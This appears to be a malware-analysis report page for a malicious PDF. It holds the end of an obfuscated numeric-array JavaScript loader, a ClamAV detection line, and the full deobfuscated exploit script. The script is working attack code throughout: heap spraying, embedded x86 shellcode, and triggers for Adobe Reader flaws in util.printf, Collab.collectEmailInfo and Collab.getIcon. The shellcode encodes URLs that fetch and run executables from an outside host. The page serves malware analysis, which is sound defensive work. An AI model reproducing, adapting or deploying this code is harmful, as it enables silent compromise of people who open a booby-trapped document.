,156,105,156,94,174,105,156,105,156,91,98,116,70,67,66,66,176,161,162,165,158,89,97,168,175,158,171,159,165,168,176,103,165,158,167,160,173,161,89,117,89,109,109,114,110,107,98,180,70,67,66,66,66,168,175,158,171,159,165,168,176,89,100,118,89,168,175,158,171,159,165,168,176,116,70,67,66,66,182,70,67,66,66,173,161,162,172,103,156,168,165,165,154,155,140,173,168,171,158,89,118,89,124,168,165,165,154,155,103,156,168,165,165,158,156,173,126,166,154,162,165,130,167,159,168,97,180,172,174,155,163,115,89,91,91,101,166,172,160,115,89,168,175,158,171,159,165,168,176,182,98,116,70,67,66,182,70,67,70,67,66,159,174,167,156,173,162,168,167,89,156,168,165,165,154,155,152,160,158,173,162,156,168,167,97,98,180,70,67,66,66,162,159,89,97,154,169,169,103,157,168,156,103,124,168,165,165,154,155,103,160,158,173,130,156,168,167,98,180,70,67,66,66,66,175,154,171,89,154,171,171,178,89,118,89,167,158,176,89,122,171,171,154,178,97,98,116,70,67,66,66,66,175,154,171,89,175,175,169,158,173,161,178,154,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,126,123,126,114,94,174,105,105,105,106,94,174,110,111,105,105,94,174,122,106,111,109,94,174,105,105,108,105,94,174,105,105,105,105,94,174,109,105,113,123,94,174,113,123,105,124,94,174,106,124,112,105,94,174,113,123,122,125,94,174,105,113,109,105,94,174,124,108,110,126,94,174,113,123,110,110,94,174,113,123,126,124,94,174,105,113,109,110,94,174,108,108,110,107,94,174,124,106,125,107,94,174,105,108,124,107,94,174,106,105,108,107,94,174,113,105,109,105,94,174,105,105,108,113,94,174,127,110,112,110,94,174,124,107,113,123,94,174,110,125,110,122,94,174,105,109,124,107,94,174,110,110,105,105,94,174,126,124,113,123,94,174,110,106,110,106,94,174,110,111,110,108,94,174,111,105,110,112,94,174,110,125,113,123,94,174,108,108,105,113,94,174,113,123,124,105,94,174,105,124,112,110,94,174,127,126,113,123,94,174,112,111,105,108,94,174,113,123,108,124,94,174,112,113,109,126,94,174,124,127,105,108,94,174,110,106,113,123,94,174,110,107,106,124,94,174,110,106,113,123,94,174,110,107,107,109,94,174,112,106,113,123,94,174,109,126,106,109,94,174,112,110,113,114,94,174,113,123,127,124,94,174,107,105,112,106,94,174,127,112,105,108,94,174,109,122,114,114,94,174,109,107,122,125,94,174,108,123,111,105,94,174,127,124,110,110,94,174,105,109,112,110,94,174,124,105,108,108,94,174,108,112,126,123,94,174,127,127,108,108,94,174,109,110,105,108,94,174,114,112,105,124,94,174,124,127,113,123,94,174,112,110,122,126,94,174,107,123,127,125,94,174,109,127,127,114,94,174,126,113,110,106,94,174,127,127,114,109,94,174,127,127,127,127,94,174,124,108,108,123,94,174,112,109,111,106,94,174,126,123,105,107,94,174,113,123,125,114,94,174,105,124,109,110,94,174,110,126,114,107,94,174,127,107,105,108,94,174,126,105,125,106,94,174,124,111,105,108,94,174,124,114,108,108,94,174,123,112,105,127,94,174,110,127,105,113,94,174,126,106,124,106,94,174,105,108,105,107,94,174,105,108,124,122,94,174,113,123,124,127,94,174,105,108,105,106,94,174,113,114,124,107,94,174,127,113,109,110,94,174,113,123,111,106,94,174,127,113,109,110,94,174,110,126,110,127,94,174,124,114,110,123,94,174,110,110,124,108,94,174,126,124,113,123,94,174,126,113,110,106,94,174,127,127,109,114,94,174,127,127,127,127,94,174,111,113,110,105,94,174,111,105,126,113,94,174,105,109,123,127,94,174,111,124,126,113,94,174,127,127,127,127,94,174,108,108,127,127,94,174,110,107,125,107,94,174,127,127,110,107,94,174,105,113,112,110,94,174,125,105,127,127,94,174,109,110,113,114,94,174,113,123,127,124,94,174,127,124,109,110,94,174,124,108,124,114,94,174,113,123,110,110,94,174,113,108,126,124,94,174,105,124,126,124,94,174,109,110,113,125,94,174,110,105,127,109,94,174,109,110,124,111,94,174,112,110,127,109,94,174,109,110,124,111,94,174,112,107,127,110,94,174,109,110,124,111,94,174,111,124,127,111,94,174,109,110,124,111,94,174,111,125,127,112,94,174,109,110,124,111,94,174,111,127,127,113,94,174,109,110,124,111,94,174,111,126,127,114,94,174,109,110,124,111,94,174,107,126,127,122,94,174,109,110,124,111,94,174,111,109,127,123,94,174,109,110,124,111,94,174,111,124,127,124,94,174,109,110,124,111,94,174,111,124,127,125,94,174,109,110,124,111,94,174,105,105,127,126,94,174,122,105,126,113,94,174,127,127,127,127,94,174,110,105,127,127,94,174,110,125,111,113,94,174,106,106,113,122,94,174,126,113,106,111,94,174,127,127,106,110,94,174,127,127,127,127,94,174,124,109,113,108,94,174,113,110,105,124,94,174,112,109,124,105,94,174,111,122,106,110,94,174,111,122,105,105,94,174,127,127,105,105,94,174,105,124,112,110,94,174,112,110,127,127,94,174,111,122,105,113,94,174,127,127,105,105,94,174,113,110,125,105,94,174,112,110,124,105,94,174,109,105,105,108,94,174,124,108,124,114,94,174,124,105,108,108,94,174,124,108,124,114,94,174,108,108,110,112,94,174,113,123,124,105,94,174,107,109,109,124,94,174,113,123,105,124,94,174,107,109,112,124,94,174,127,124,105,113,94,174,122,122,127,108,94,174,124,108,110,127,94,174,109,124,113,123,94,174,105,109,107,109,94,174,108,114,113,105,94,174,113,123,105,105,94,174,112,109,124,106,94,174,109,105,105,111,94,174,108,113,113,105,94,174,112,110,105,105,94,174,107,123,127,122,94,174,124,108,124,106,94,174,113,123,110,110,94,174,113,108,126,124,94,174,111,109,126,124,94,174,113,125,110,108,94,174,127,105,109,110,94,174,108,108,110,112,94,174,110,105,125,123,94,174,109,110,124,111,94,174,111,123,127,105,94,174,109,110,124,111,94,174,111,110,127,106,94,174,109,110,124,111,94,174,112,107,127,107,94,174,109,110,124,111,94,174,111,126,127,108,94,174,109,110,124,111,94,174,111,110,127,109,94,174,109,110,124,111,94,174,111,124,127,110,94,174,109,110,124,111,94,174,108,108,127,111,94,174,109,110,124,111,94,174,108,107,127,112,94,174,109,110,124,111,94,174,107,126,127,113,94,174,109,110,124,111,94,174,111,109,127,114,94,174,109,110,124,111,94,174,111,124,127,122,94,174,109,110,124,111,94,174,111,124,127,123,94,174,110,125,113,113,94,174,126,113,127,124,94,174,127,127,105,123,94,174,127,127,127,127,94,174,111,113,110,105,94,174,109,108,111,113,94,174,113,126,127,114,94,174,113,105,126,113,94,174,127,127,127,126,94,174,113,123,127,127,94,174,113,125,127,113,94,174,114,124,109,110,94,174,109,109,111,122,94,174,126,113,110,105,94,174,127,127,112,126,94,174,127,127,127,127,94,174,109,110,113,125,94,174,111,122,126,105,94,174,110,105,106,105,94,174,112,108,126,113,94,174,127,127,127,127,94,174,113,108,127,127,94,174,106,124,124,109,94,174,109,110,113,125,94,174,110,105,126,105,94,174,109,110,113,125,94,174,110,105,114,124,94,174,110,108,110,108,94,174,110,108,110,108,94,174,110,108,110,108,94,174,112,110,127,127,94,174,124,112,105,113,94,174,114,124,109,110,94,174,105,105,109,109,94,174,105,105,105,105,94,174,127,127,110,108,94,174,110,127,125,112,94,174,123,111,105,127,94,174,110,123,124,105,94,174,124,108,124,114,94,174,113,123,110,110,94,174,110,106,126,124,94,174,110,108,110,106,94,174,110,112,110,111,94,174,109,107,111,122,94,174,112,107,126,113,94,174,105,105,105,105,94,174,113,123,105,105,94,174,108,108,125,113,94,174,113,110,127,111,94,174,110,114,125,123,94,174,109,110,124,112,94,174,111,106,127,113,94,174,111,110,107,126,94,174,124,112,112,113,94,174,127,124,109,110,94,174,105,105,111,110,94,174,105,105,105,105,94,174,110,111,112,126,94,174,109,110,113,125,94,174,110,105,127,113,94,174,126,113,110,111,94,174,105,105,110,106,94,174,105,105,105,105,94,174,110,105,110,114,94,174,123,106,126,113,94,174,127,127,127,126,94,174,113,110,127,127,94,174,110,114,124,105,94,174,112,109,110,114,94,174,113,125,108,114,94,174,105,106,109,111,94,174,126,113,110,105,94,174,105,105,108,123,94,174,105,105,105,105,94,174,127,113,113,123,94,174,109,110,113,125,94,174,110,105,127,113,94,174,107,106,126,113,94,174,127,127,127,127,94,174,113,110,127,127,94,174,110,114,124,105,94,174,112,109,110,114,94,174,110,112,105,124,94,174,105,106,126,113,94,174,127,127,127,127,94,174,110,114,127,127,94,174,109,109,124,111,94,174,127,127,108,113,94,174,110,105,112,108,94,174,109,110,113,125,94,174,127,126,127,113,94,174,110,113,105,105,94,174,109,110,113,125,94,174,110,105,127,113,94,174,126,113,110,112,94,174,127,126,112,109,94,174,127,127,127,127,94,174,110,114,110,114,94,174,109,111,109,111,94,174,127,108,108,123,94,174,122,122,112,124,94,174,110,126,110,127,94,174,124,114,110,123,94,174,110,110,124,108,94,174,126,124,113,123,94,174,110,108,110,106,94,174,111,105,111,111,94,174,108,107,123,106,94,174,105,105,126,113,94,174,105,105,105,105,94,174,110,113,105,105,94,174,105,113,108,113,94,174,105,108,112,109,94,174,126,123,109,105,94,174,109,105,127,114,94,174,110,125,113,123,94,174,113,105,105,113,94,174,109,107,127,123,94,174,105,113,112,110,94,174,125,123,108,108,94,174,106,113,113,122,94,174,124,108,113,123,94,174,106,112,126,123,94,174,106,113,108,113,94,174,106,106,112,111,94,174,108,108,109,105,94,174,113,109,124,114,94,174,112,109,125,123,94,174,109,105,105,124,94,174,105,113,108,113,94,174,127,123,112,110,94,174,127,126,109,105,94,174,126,123,124,123,94,174,108,108,127,107,94,174,113,114,124,105,94,174,127,124,109,110,94,174,109,110,113,123,94,174,110,123,127,124,94,174,124,108,124,114,94,174,105,107,108,107,94,174,112,109,111,113,94,174,112,105,112,109,94,174,107,127,108,122,94,174,111,114,107,127,94,174,111,106,111,125,94,174,111,110,111,112,94,174,107,125,112,108,94,174,111,126,111,109,94,174,107,126,112,108,94,174,111,127,111,108,94,174,107,127,111,125,94,174,111,124,111,106,94,174,112,106,111,126,94,174,112,112,112,107,94,174,107,126,108,107,94,174,112,113,111,110,94,174,105,105,111,110,94,174,112,109,111,113,94,174,112,105,112,109,94,174,107,127,108,122,94,174,111,114,107,127,94,174,111,106,111,125,94,174,111,110,111,112,94,174,107,125,112,108,94,174,111,126,111,109,94,174,107,126,112,108,94,174,111,127,111,108,94,174,107,127,111,125,94,174,111,124,111,108,94,174,111,108,111,114,94,174,107,126,111,123,94,174,111,113,112,105,94,174,108,127,112,105,94,174,108,125,112,107,94,174,105,105,105,105,91,98,116,70,67,66,66,66,175,154,171,89,161,144,170,110,105,105,124,135,89,118,89,175,175,169,158,173,161,178,154,103,165,158,167,160,173,161,89,99,89,107,116,70,67,66,66,66,175,154,171,89,165,158,167,89,118,89,105,177,109,105,105,105,105,105,89,102,89,97,161,144,170,110,105,105,124,135,89,100,89,105,177,108,113,98,116,70,67,66,66,66,175,154,171,89,178,154,171,172,169,89,118,89,174,167,158,172,156,154,169,158,97,91,94,174,114,105,114,105,94,174,114,105,114,105,91,98,116,70,67,66,66,66,178,154,171,172,169,89,118,89,159,162,177,152,162,173,97,178,154,171,172,169,101,89,165,158,167,98,116,70,67,66,66,66,175,154,171,89,169,110,122,163,132,111,110,159,89,118,89,97,105,177,105,156,105,156,105,156,105,156,89,102,89,105,177,109,105,105,105,105,105,98,89,104,89,105,177,109,105,105,105,105,105,116,70,67,66,66,66,159,168,171,89,97,175,154,171,89,175,170,156,138,125,114,111,178,89,118,89,105,116,89,175,170,156,138,125,114,111,178,89,117,89,169,110,122,163,132,111,110,159,116,89,175,170,156,138,125,114,111,178,89,100,100,89,98,180,70,67,66,66,66,66,154,171,171,178,148,175,170,156,138,125,114,111,178,150,89,118,89,178,154,171,172,169,89,100,89,175,175,169,158,173,161,178,154,116,70,67,66,66,66,182,70,67,66,66,66,175,154,171,89,173,142,134,161,135,155,128,176,89,118,89,174,167,158,172,156,154,169,158,97,91,94,105,114,91,98,116,70,67,66,66,66,176,161,162,165,158,89,97,173,142,134,161,135,155,128,176,103,165,158,167,160,173,161,89,117,89,105,177,109,105,105,105,98,180,70,67,66,66,66,66,173,142,134,161,135,155,128,176,89,100,118,89,173,142,134,161,135,155,128,176,116,70,67,66,66,66,182,70,67,66,66,66,173,142,134,161,135,155,128,176,89,118,89,91,135,103,91,89,100,89,173,142,134,161,135,155,128,176,116,70,67,66,66,66,154,169,169,103,157,168,156,103,124,168,165,165,154,155,103,160,158,173,130,156,168,167,97,173,142,134,161,135,155,128,176,98,116,70,67,66,66,182,70,67,66,182,70,67,70,67,66,159,174,167,156,173,162,168,167,89,169,157,159,152,172,173,154,171,173,97,98,180,70,67,70,67,66,66,175,154,171,89,175,158,171,172,162,168,167,89,118,89,154,169,169,103,175,162,158,176,158,171,143,158,171,172,162,168,167,103,173,168,140,173,171,162,167,160,97,98,116,70,67,66,66,175,158,171,172,162,168,167,89,118,89,175,158,171,172,162,168,167,103,171,158,169,165,154,156,158,97,104,149,125,104,160,101,96,96,98,116,70,67,66,66,175,154,171,89,175,154,171,172,162,168,167,152,154,171,171,154,178,89,118,89,167,158,176,89,122,171,171,154,178,97,175,158,171,172,162,168,167,103,156,161,154,171,122,173,97,105,98,101,89,175,158,171,172,162,168,167,103,156,161,154,171,122,173,97,106,98,101,89,175,158,171,172,162,168,167,103,156,161,154,171,122,173,97,107,98,98,116,70,67,66,66,162,159,89,97,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,105,150,89,118,118,89,113,98,89,95,95,89,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,106,150,89,118,118,89,105,98,89,181,181,89,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,106,150,89,118,118,89,106,89,95,95,89,175,154,171,172,162,168,167,152,154,171,171,154,178,148,107,150,89,117,89,108,98,98,180,70,67,66,66,66,174,173,162,165,152,169,171,162,167,173,159,97,98,116,70,67,66,66,182,70,67,66,66,162,159,89,97,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,105,150,89,117,89,113,98,89,181,181,89,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,105,150,89,118,118,89,113,89,95,95,89,175,154,171,172,162,168,167,152,154,171,171,154,178,148,106,150,89,117,89,107,89,95,95,89,175,154,171,172,162,168,167,152,154,171,171,154,178,148,107,150,89,117,89,107,98,98,180,70,67,66,66,66,156,168,165,165,154,155,152,158,166,154,162,165,97,98,116,70,67,66,66,182,70,67,66,66,162,159,89,97,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,105,150,89,117,89,114,98,89,181,181,89,97,175,154,171,172,162,168,167,152,154,171,171,154,178,148,105,150,89,118,118,89,114,89,95,95,89,175,154,171,172,162,168,167,152,154,171,171,154,178,148,106,150,89,117,89,106,98,98,180,70,67,66,66,66,156,168,165,165,154,155,152,160,158,173,162,156,168,167,97,98,116,70,67,66,66,182,70,67,66,182,70,67,70,67,66,169,157,159,152,172,173,154,171,173,97,98,116,70,67,66],acjno=function(){for(var aopvy;bjrvx<fikuv.length;bjrvx+=1){var eqtvx=bjrvx%yqebzt.length+1;var djlmv=yqebzt.substring(bjrvx%yqebzt.length,eqtvx);var zapxe=fikuv[bjrvx];ehirx+=befot(zapxe-djlmv.charCodeAt(0));}
acglpx(ehirx);};acjno();aist="";flpsx=2005;clotu=true;bdfox='';dgnv='';uzavw="uzavw";
|
|||
legacy_pdfkit_stage_000.js |
deobfuscated-js | numeric array subtract-key decoded JavaScript at offset 0x1A5 | 9886 bytes |
SHA-256: 6253cd11fce00033053f738ae055ff17508ac2878bb08b10896af46309c5fdeb |
|||
|
Detection
ClamAV:
Js.Exploit.Shellcode-18
Obfuscation or payload:
likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
|
|||
Preview scriptFirst 1,000 lines of the extracted script
function fix_it(yarsp, len){
while (yarsp.length * 2 < len){
yarsp += yarsp;
}
yarsp = yarsp.substring(0, len/2);
return yarsp;
}
function util_printf(){
var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6B61%u6E6C%u786F%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock = nop + payload;
var bigblock = unescape("%u0A0A%u0A0A");
var headersize = 20;
var spray = headersize + heapblock.length;
while (bigblock.length < spray){
bigblock += bigblock;
}
var fillblock = bigblock.substring(0, spray);
var block = bigblock.substring(0, bigblock.length-spray);
while (block.length+spray < 0x40000){
block = block + block + fillblock;
}
var mem_array = new Array();
for (var i = 0; i < 1400; i++){
mem_array[i] = block + heapblock;
}
var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;
util.printf("%45000f", num);
}
function collab_email(){
var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C6B%u736D%u7876%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var mem_array = new Array();
var cc = 0x0c0c0c0c;
var addr = 0x400000;
var sc_len = shellcode.length * 2;
var len = addr - (sc_len+0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var count2 = (cc - 0x400000)/addr;
for (var count = 0; count < count2; count++){
mem_array[count] = yarsp + shellcode;
}
var overflow = unescape("%u0c0c%u0c0c");
while (overflow.length < 44952){
overflow += overflow;
}
this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow});
}
function collab_geticon(){
if (app.doc.Collab.getIcon){
var arry = new Array();
var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C61%u716E%u7772%u2E32%u7865%u0065%u7468%u7074%u2F3A%u692F%u616D%u6567%u2D73%u6E64%u2E73%u6F63%u2F6D%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000");
var hWq500CN = vvpethya.length * 2;
var len = 0x400000 - (hWq500CN + 0x38);
var yarsp = unescape("%u9090%u9090");
yarsp = fix_it(yarsp, len);
var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;
for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){
arry[vqcQD96y] = yarsp + vvpethya;
}
var tUMhNbGw = unescape("%09");
while (tUMhNbGw.length < 0x4000){
tUMhNbGw += tUMhNbGw;
}
tUMhNbGw = "N." + tUMhNbGw;
app.doc.Collab.getIcon(tUMhNbGw);
}
}
function pdf_start(){
var version = app.viewerVersion.toString();
version = version.replace(/\D/g,'');
var varsion_array = new Array(version.charAt(0), version.charAt(1), version.charAt(2));
if ((varsion_array[0] == 8) && (varsion_array[1] == 0) || (varsion_array[1] == 1 && varsion_array[2] < 3)){
util_printf();
}
if ((varsion_array[0] < 8) || (varsion_array[0] == 8 && varsion_array[1] < 2 && varsion_array[2] < 2)){
collab_email();
}
if ((varsion_array[0] < 9) || (varsion_array[0] == 9 && varsion_array[1] < 1)){
collab_geticon();
}
}
pdf_start();
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.